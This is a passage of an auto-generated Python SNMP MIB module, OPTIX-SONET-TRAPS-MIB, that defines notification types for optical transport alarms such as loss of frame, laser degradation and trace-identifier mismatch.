"rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almBiasTemperatureOfPumpHigh.setStatus('current') almTimSection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 87)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTimSection.setStatus('current') almLossOfAllSynchronousSource = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 100)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLossOfAllSynchronousSource.setStatus('current') almSynchronousSourceDegrade = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 101)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSynchronousSourceDegrade.setStatus('current') almSyncLOS = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 111)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSyncLOS.setStatus('current') almProtectionSwitching = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 120)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almProtectionSwitching.setStatus('current') almDbmsError = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 185)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almDbmsError.setStatus('current') almLossOfMultiplexSignal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 186)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLossOfMultiplexSignal.setStatus('current') almLossOfSingleWavelengthSignal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 187)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLossOfSingleWavelengthSignal.setStatus('current') almAdditionOfSingleWavelengthSignal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 188)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almAdditionOfSingleWavelengthSignal.setStatus('current') almLaserDegraded = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 189)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLaserDegraded.setStatus('current') almPumpDiodeCoolingCurrentHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 192)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPumpDiodeCoolingCurrentHigh.setStatus('current') almS1ModeSynChange = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 193)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almS1ModeSynChange.setStatus('current') almDbmsIsInProtectMode = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 198)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almDbmsIsInProtectMode.setStatus('current') almSecuAlarm = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 200)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSecuAlarm.setStatus('current') almForwardErrorCorrectionLossOfFrame = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 212)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almForwardErrorCorrectionLossOfFrame.setStatus('current') almForwardErrorCorrectionOutOfFrame = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 213)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almForwardErrorCorrectionOutOfFrame.setStatus('current') almRateOver = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 223)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almRateOver.setStatus('current') almCardConfigurationFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 232)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almCardConfigurationFail.setStatus('current') almLoopback = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 240)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLoopback.setStatus('current') almCoolingCurrentModeHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 270)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almCoolingCurrentModeHigh.setStatus('current') almOTULossOfFrame = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 272)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almOTULossOfFrame.setStatus('current') almOTUOutOfMultiFrame = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 273)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almOTUOutOfMultiFrame.setStatus('current') almSmTIM = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 274)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSmTIM.setStatus('current') almPmTIM = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 275)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPmTIM.setStatus('current') almSmBDI = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 276)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSmBDI.setStatus('current') almPmBDI = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 277)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), 